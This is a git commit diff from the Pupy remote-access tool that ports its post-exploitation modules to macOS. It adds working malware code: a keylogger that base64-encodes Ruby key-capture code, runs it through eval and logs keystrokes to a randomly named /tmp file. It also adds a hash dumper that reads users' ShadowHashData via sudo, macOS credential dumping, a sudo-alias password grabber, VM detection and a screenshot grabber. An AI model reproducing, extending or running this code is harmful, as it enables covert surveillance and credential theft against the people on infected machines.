This commit is contained in:
n1nj4sec 2017-02-10 22:55:37 +01:00
commit ee4b16b026
19 changed files with 459 additions and 74 deletions

View File

@ -6,7 +6,7 @@ from modules.lib.windows.powershell_upload import execute_powershell_script
__class_name__="CheckVM"
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),".."))
@config(compat=['linux', 'windows'], category="gather")
@config(category="gather")
class CheckVM(PupyModule):
""" check if running on Virtual Machine """
@ -29,3 +29,12 @@ class CheckVM(PupyModule):
self.success('This appears to be a %s virtual machine' % vm)
else:
self.success('This does not appear to be a virtual machine')
elif self.client.is_darwin():
self.client.load_package("checkvm")
self.info('Be patient, could take a while')
vm = self.client.conn.modules["checkvm"].checkvm()
if vm:
self.success('This appears to be a %s virtual machine' % vm)
else:
self.success('This does not appear to be a virtual machine')

View File

@ -34,7 +34,7 @@ from modules.lib.windows.creddump.win32.lsasecrets import get_file_secrets
__class_name__="CredDump"
@config(cat="creds", compatibilities=['windows', 'linux'], tags=['creds',
@config(cat="creds", compatibilities=['windows', 'linux', 'darwin'], tags=['creds',
'credentials', 'password', 'gather', 'hives'])
class CredDump(PupyModule):
@ -52,8 +52,25 @@ class CredDump(PupyModule):
if self.client.is_windows():
self.windows()
else:
elif self.client.is_linux():
self.linux()
elif self.client.is_darwin():
self.darwin()
def darwin(self):
self.client.load_package("hashdump")
hashes = self.client.conn.modules["hashdump"].hashdump()
if hashes:
db = Credentials()
db.add([
{'Hash':hsh[1], 'Login': hsh[0], 'Category': 'System hash', 'uid':self.client.short_name(), 'CredType': 'hash'} for hsh in hashes
])
for hsh in hashes:
self.log('{}'.format(hsh))
self.success("Hashes stored on the database")
else:
self.error('no hashes found')
def linux(self):
known = set()
@ -123,6 +140,8 @@ class CredDump(PupyModule):
for hsh in hashes:
self.log('{}'.format(hsh))
self.success("Hashes stored on the database")
def windows(self):
# First, we download the hives...

View File

@ -1,10 +1,11 @@
# -*- coding: utf-8 -*-
from pupylib.PupyModule import *
from pupylib.utils.term import colorize
from modules.lib.utils.shell_exec import shell_exec
__class_name__="Drives"
@config(compat=[ 'linux', 'windows' ], category='admin')
@config(category='admin')
class Drives(PupyModule):
""" List valid drives in the system """
@ -158,3 +159,6 @@ class Drives(PupyModule):
output.append('')
self.stdout.write('\n'.join(output))
elif self.client.is_darwin():
self.log(shell_exec(self.client, 'df -H'))

View File

@ -14,7 +14,7 @@ from pupylib.utils.rpyc_utils import redirected_stdio
__class_name__="KeyloggerModule"
@config(cat="gather", compat=["linux", "windows"])
@config(cat="gather", compat=["linux", "darwin", "windows"])
class KeyloggerModule(PupyModule):
"""
A keylogger to monitor all keyboards interaction including the clipboard :-)
@ -43,8 +43,8 @@ class KeyloggerModule(PupyModule):
self.error("the keylogger is already started")
else:
self.success("keylogger started !")
# not tested on android
else:
elif self.client.is_linux():
with redirected_stdio(self.client.conn): #to see the output exception in case of error
r = self.client.conn.modules["keylogger"].keylogger_start()
if r == 'no_x11':
@ -54,6 +54,16 @@ class KeyloggerModule(PupyModule):
else:
self.success("keylogger started !")
# for Mac OS
elif self.client.is_darwin():
r = self.client.conn.modules["keylogger"].keylogger_start()
if r == 'running':
self.error("the keylogger is already started")
elif not r:
self.error("the keylogger cannot be launched")
else:
self.success("keylogger started !")
elif args.action=="dump":
try:
os.makedirs(os.path.join("data","keystrokes"))
@ -62,8 +72,10 @@ class KeyloggerModule(PupyModule):
if self.client.is_windows():
data=self.client.conn.modules["pupwinutils.keylogger"].keylogger_dump()
else:
elif self.client.is_linux():
data=self.client.conn.modules["keylogger"].keylogger_dump()
elif self.client.is_darwin():
data=self.client.conn.modules["keylogger"].keylogger_dump()
if data is None:
self.error("keylogger not started")
@ -79,7 +91,9 @@ class KeyloggerModule(PupyModule):
elif args.action=="stop":
if self.client.is_windows():
stop = self.client.conn.modules["pupwinutils.keylogger"].keylogger_stop()
else:
elif self.client.is_linux():
stop = self.client.conn.modules["keylogger"].keylogger_stop()
elif self.client.is_darwin():
stop = self.client.conn.modules["keylogger"].keylogger_stop()
if stop:

View File

@ -1,9 +1,10 @@
# -*- coding: UTF8 -*-
from pupylib.PupyModule import *
import subprocess
__class_name__="PupyMod"
@config(compat="windows", cat="manage", tags=["lock", "screen", "session"])
@config(compat=["windows", "darwin"], cat="manage", tags=["lock", "screen", "session"])
class PupyMod(PupyModule):
""" Lock the session """
@ -11,8 +12,13 @@ class PupyMod(PupyModule):
self.arg_parser = PupyArgumentParser(prog="lock_screen", description=self.__doc__)
def run(self, args):
if self.client.conn.modules['ctypes'].windll.user32.LockWorkStation():
ok = False
if self.client.is_windows():
ok = self.client.conn.modules['ctypes'].windll.user32.LockWorkStation()
elif self.client.is_darwin():
ok = self.client.conn.modules.subprocess.Popen('/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
if ok:
self.success("windows locked")
else:
self.error("couldn't lock the screen")

View File

@ -3,7 +3,7 @@ from pupylib.PupyModule import *
__class_name__="MsgBoxPopup"
@config(compat=["windows", "linux"], cat="troll", tags=["message","popup"])
@config(cat="troll", tags=["message","popup"])
class MsgBoxPopup(PupyModule):
""" Pop up a custom message box """
dependencies = {
@ -19,7 +19,10 @@ class MsgBoxPopup(PupyModule):
def run(self, args):
if self.client.is_windows():
self.client.conn.modules['pupwinutils.msgbox'].MessageBox(args.text, args.title)
else:
elif self.client.is_linux():
self.client.conn.modules['notify'].notification(args.text, args.title)
elif self.client.is_darwin():
cmd = 'osascript -e \'tell app "Finder" to display dialog "%s"\'' % args.text
self.client.conn.modules.os.popen(cmd)
self.log("message box popped !")

View File

@ -18,7 +18,7 @@ import ntpath
__class_name__="PSExec"
@config(cat="admin",compat=["linux", "windows"])
@config(cat="admin")
class PSExec(PupyModule):
""" Launch remote commands using smbexec or wmiexec"""
max_clients=1

View File

@ -1,46 +1,51 @@
# -*- coding: UTF8 -*-
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
from pupylib.PupyModule import *
import os
import os.path
import textwrap
import logging
from os import path
import time
import datetime
from zlib import compress, crc32
import struct
import subprocess
__class_name__="Screenshoter"
def pil_save(filename, pixels, width, height):
from PIL import Image, ImageFile
buffer_len = (width * 3 + 3) & -4
img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1)
ImageFile.MAXBLOCK = width * height
img=img.transpose(Image.FLIP_TOP_BOTTOM)
img.save(filename, quality=95, optimize=True, progressive=True)
logging.info('Screenshot saved to %s'%filename)
__class_name__="screenshoter"
@config(cat="gather", compat="windows")
class Screenshoter(PupyModule):
@config(cat="gather")
class screenshoter(PupyModule):
""" take a screenshot :) """
dependencies = ['mss', 'screenshot']
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='screenshot', description=self.__doc__)
self.arg_parser.add_argument('-e', '--enum', action='store_true', help='enumerate screen')
@ -48,29 +53,33 @@ class Screenshoter(PupyModule):
self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default image viewer on the screenshot for preview')
def run(self, args):
try:
os.makedirs(os.path.join("data","screenshots"))
except Exception:
pass
self.client.load_package("pupwinutils.screenshot")
screens=None
if args.screen is None:
screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors(oneshot=True)
else:
screens=self.client.conn.modules['pupwinutils.screenshot'].enum_display_monitors()
rscreenshot = self.client.conn.modules['screenshot']
if args.enum:
res=""
for i, screen in enumerate(screens):
res+="{:<3}: {}\n".format(i,screen)
return res
if args.screen is None:
args.screen=0
selected_screen=screens[args.screen]
screenshot_pixels=self.client.conn.modules["pupwinutils.screenshot"].get_pixels(selected_screen)
filepath=os.path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg")
pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"])
if args.view:
subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath])
self.success("screenshot saved to %s"%filepath)
self.rawlog('{:>2} {:>9} {:>9}\n'.format('IDX', 'SIZE', 'LEFT'))
for i, screen in enumerate(rscreenshot.screens()):
if not (screen['width'] and screen['height']):
continue
self.rawlog('{:>2}: {:>9} {:>9}\n'.format(
i,
'{}x{}'.format(screen['width'], screen['height']),
'({}x{})'.format(screen['top'], screen['left'])))
return
screenshots, error = rscreenshot.screenshot(args.screen)
if not screenshots:
self.error(error)
else:
self.success('number of monitor detected: %s' % str(len(screenshots)))
for screenshot in screenshots:
filepath = path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".png")
with open(filepath, 'w') as out:
out.write(screenshot)
# sleep used to be sure the file name will be different between 2 differents screenshots
time.sleep(1)
self.success(filepath)
# if args.view:
# viewer = config.get('default_viewers', 'image_viewer')
# subprocess.Popen([viewer, output])

View File

@ -10,12 +10,14 @@ __class_name__="ShellExec"
@config(cat="admin")
class ShellExec(PupyModule):
""" execute shell commands on a remote system """
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='shell_exec', description=self.__doc__)
self.arg_parser.add_argument('-s', '--shell', help="default to /bin/sh on linux or cmd.exe on windows")
self.arg_parser.add_argument('argument', help='use unix like syntax and put simple quotes if there is multiple arguments')
self.arg_parser.add_argument('-H', '--hide', action='store_true', help='launch process on background (only for windows)')
self.arg_parser.add_argument('-log', help='Save log to file (when not background process)')
def run(self, args):
if not args.hide:
log = shell_exec(self.client, args.argument, shell=args.shell)
@ -23,7 +25,7 @@ class ShellExec(PupyModule):
if args.log:
with open(args.log, 'wb') as output:
output.write(log)
else:
elif args.hide and self.client.is_windows():
try:
self.client.load_package("psutil")
self.client.load_package("pupwinutils.processes")
@ -32,3 +34,5 @@ class ShellExec(PupyModule):
self.success("Process created with pid %s" % p.pid)
except Exception, e:
self.error("Error creating the process: %s" % e)
else:
self.error('--hide option works only for Windows hosts')

View File

@ -4,7 +4,7 @@ from pupylib.utils.rpyc_utils import redirected_stdio
__class_name__="SSH"
@config(compat=['linux', 'windows'], cat="admin")
@config(cat="admin")
class SSH(PupyModule):
""" ssh client """

View File

@ -4,7 +4,7 @@ from pupylib.utils.credentials import Credentials
__class_name__="SudoAlias"
@config(compat='linux', cat="admin")
@config(compat=['linux', 'darwin'], cat="admin")
class SudoAlias(PupyModule):
""" write an alias for sudo to retrieve user password """

View File

@ -0,0 +1,69 @@
# -*- coding: utf-8 -*-
import mss
import struct
from zlib import compress, crc32
def _to_png(data, width, height):
# From MSS
line = width * 3
png_filter = struct.pack('>B', 0)
scanlines = b''.join(
[png_filter + data[y * line:y * line + line] for y in range(height)]
)
magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)
# Header: size, marker, data, CRC32
ihdr = [b'', b'IHDR', b'', b'']
ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)
ihdr[3] = struct.pack('>I', crc32(b''.join(ihdr[1:3])) & 0xffffffff)
ihdr[0] = struct.pack('>I', len(ihdr[2]))
# Data: size, marker, data, CRC32
idat = [b'', b'IDAT', compress(scanlines), b'']
idat[3] = struct.pack('>I', crc32(b''.join(idat[1:3])) & 0xffffffff)
idat[0] = struct.pack('>I', len(idat[2]))
# Footer: size, marker, None, CRC32
iend = [b'', b'IEND', b'', b'']
iend[3] = struct.pack('>I', crc32(iend[1]) & 0xffffffff)
iend[0] = struct.pack('>I', len(iend[2]))
return b''.join([
magic,
b''.join(ihdr),
b''.join(idat),
b''.join(iend)
])
def screens():
screenshoter = mss.mss()
monitors = screenshoter.enum_display_monitors()
return monitors[1:] if len(monitors) > 1 else monitors
def screenshot(screen=None):
screenshoter = mss.mss()
screenshots = []
monitors = screenshoter.enum_display_monitors()
del monitors[0]
if len(monitors) == 0:
return None
if screen:
if screen < len(monitors):
return None, 'the screen id does not exist'
else:
monitors = [monitors[screen]]
for monitor in monitors:
screenshots.append(
_to_png(
screenshoter.get_pixels(monitor),
monitor['width'], monitor['height']
)
)
return screenshots, None

View File

@ -0,0 +1,23 @@
import subprocess
import os
def checkvm():
# check existing dir
dirs = [
'~/Library/Logs/VMWare',
'~/Library/Logs/VMWare Fusion/'
]
for d in dirs:
if os.path.isdir(os.path.expanduser(d)):
return 'VMWare'
p = subprocess.Popen('system_profiler', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True)
output, err = p.communicate()
if output:
if 'VMWare' in output:
return 'VMWare'
elif 'VirtualBox' in output:
return 'VirtualBox'
return None

View File

@ -0,0 +1,31 @@
# Inspired from https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/hashdump.py
import os
import base64
from xml.etree import ElementTree
def getUserHash(userName):
try:
raw = os.popen('sudo defaults read /var/db/dslocal/nodes/Default/users/%s.plist ShadowHashData|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o - 2> /dev/null' %(userName)).read()
if len(raw) > 100:
root = ElementTree.fromstring(raw)
children = root[0][1].getchildren()
entropy64 = ''.join(children[1].text.split())
iterations = children[3].text
salt64 = ''.join(children[5].text.split())
entropyRaw = base64.b64decode(entropy64)
entropyHex = entropyRaw.encode("hex")
saltRaw = base64.b64decode(salt64)
saltHex = saltRaw.encode("hex")
return (userName, "$ml$%s$%s$%s" %(iterations, saltHex, entropyHex))
except Exception as e:
print "getUserHash() exception: %s" %(e)
pass
def hashdump():
userNames = [ plist.split(".")[0] for plist in os.listdir('/var/db/dslocal/nodes/Default/users/') if not plist.startswith('_')]
userHashes = []
for userName in userNames:
userHash = getUserHash(userName)
if userHash:
userHashes.append(getUserHash(userName))
return userHashes

View File

@ -0,0 +1,192 @@
import os
import time
import base64
import subprocess
import string
import random
pid = int()
logFile = ''
# ruby code from metasploit
# https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb
def get_ruby_code():
return '''
require 'thread'
require 'dl'
require 'dl/import'
Importer = if defined?(DL::Importer) then DL::Importer else DL::Importable end
def ruby_1_9_or_higher?
RUBY_VERSION.to_f >= 1.9
end
def malloc(size)
if ruby_1_9_or_higher?
DL::CPtr.malloc(size)
else
DL::malloc(size)
end
end
if not ruby_1_9_or_higher?
module DL
module Importable
def method_missing(meth, *args, &block)
str = meth.to_s
lower = str[0,1].downcase + str[1..-1]
if self.respond_to? lower
self.send lower, *args
else
super
end
end
end
end
end
SM_KCHR_CACHE = 38
SM_CURRENT_SCRIPT = -2
MAX_APP_NAME = 80
module Carbon
extend Importer
dlload '/System/Library/Frameworks/Carbon.framework/Carbon'
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
extern 'void GetFrontProcess(ProcessSerialNumber *)'
extern 'void GetKeys(void *)'
extern 'unsigned char *GetScriptVariable(int, int)'
extern 'unsigned char KeyTranslate(void *, int, void *)'
extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
extern 'int CFStringGetLength(void *)'
end
psn = malloc(16)
name = malloc(16)
name_cstr = malloc(MAX_APP_NAME)
keymap = malloc(16)
state = malloc(8)
itv_start = Time.now.to_i
prev_down = Hash.new(false)
lastWindow = ""
while (true) do
Carbon.GetFrontProcess(psn.ref)
Carbon.CopyProcessName(psn.ref, name.ref)
Carbon.GetKeys(keymap)
str_len = Carbon.CFStringGetLength(name)
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
app_name = if copied then name_cstr.to_s else 'Unknown' end
bytes = keymap.to_str
cap_flag = false
ascii = 0
ctrlchar = ""
(0...128).each do |k|
if ((bytes[k>>3].ord >> (k&7)) & 1 > 0)
if not prev_down[k]
case k
when 36
ctrlchar = "[enter]"
when 48
ctrlchar = "[tab]"
when 49
ctrlchar = " "
when 51
ctrlchar = "[delete]"
when 53
ctrlchar = "[esc]"
when 55
ctrlchar = "[cmd]"
when 56
ctrlchar = "[shift]"
when 57
ctrlchar = "[caps]"
when 58
ctrlchar = "[option]"
when 59
ctrlchar = "[ctrl]"
when 63
ctrlchar = "[fn]"
else
ctrlchar = ""
end
if ctrlchar == "" and ascii == 0
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
prev_down[k] = true
if curr_ascii == 0
cap_flag = true
else
ascii = curr_ascii
end
elsif ctrlchar != ""
prev_down[k] = true
end
end
else
prev_down[k] = false
end
end
if ascii != 0 or ctrlchar != ""
if app_name != lastWindow
puts "\n\n[#{app_name}] - [#{Time.now}]\n"
lastWindow = app_name
end
if ctrlchar != ""
print "#{ctrlchar}"
elsif ascii > 32 and ascii < 127
c = if cap_flag then ascii.chr.upcase else ascii.chr end
print "#{c}"
else
print "[#{ascii}]"
end
$stdout.flush
end
Kernel.sleep(0.01)
end'''
def keylogger_start():
global pid
global logFile
if logFile:
if os.path.exists(logFile):
return 'running'
base64_ruby_code = base64.b64encode(get_ruby_code())
randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))])
logFile = '/tmp/{name}'.format(name=randname)
cmd = 'echo "require \'base64\';eval(Base64.decode64(\'%s\'))" | ruby > %s &' % (base64_ruby_code, logFile)
os.popen(cmd)
time.sleep(1)
# get process id
try:
pid = os.popen('ps aux | grep " ruby" | grep -v grep').read().split()[1]
except:
pass
print logFile
print pid
return True
def keylogger_stop():
global logFile
# remove log file
if os.path.exists(logFile):
# kill keylogger process
cmd = 'kill %s' % str(pid)
subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
os.remove(logFile)
logFile = ''
return True
else:
return False
def keylogger_dump():
if not os.path.exists(logFile):
return None
buffer = open(logFile, 'r').read()
# clean file
file = open(logFile, 'w').write('')
return buffer

View File

@ -0,0 +1 @@
../linux/all/ptyshell.py

View File

@ -0,0 +1 @@
../linux/all/sudo_alias.py

View File

@ -109,7 +109,7 @@ class Credentials(object):
break
# print only data with password and remove false positive
if c['password'] and len(c['password']) < 150:
if c['password']:
if (dataToSearch and found) or not dataToSearch:
if (tmp_uid != c['uid']) and isSorted:
tmp_uid = c['uid']

View File

@ -2,9 +2,9 @@ rpyc
pycrypto
pefile
pyyaml
image
rsa
netaddr
ecdsa==0.13
paramiko==2.0.2
netifaces
mss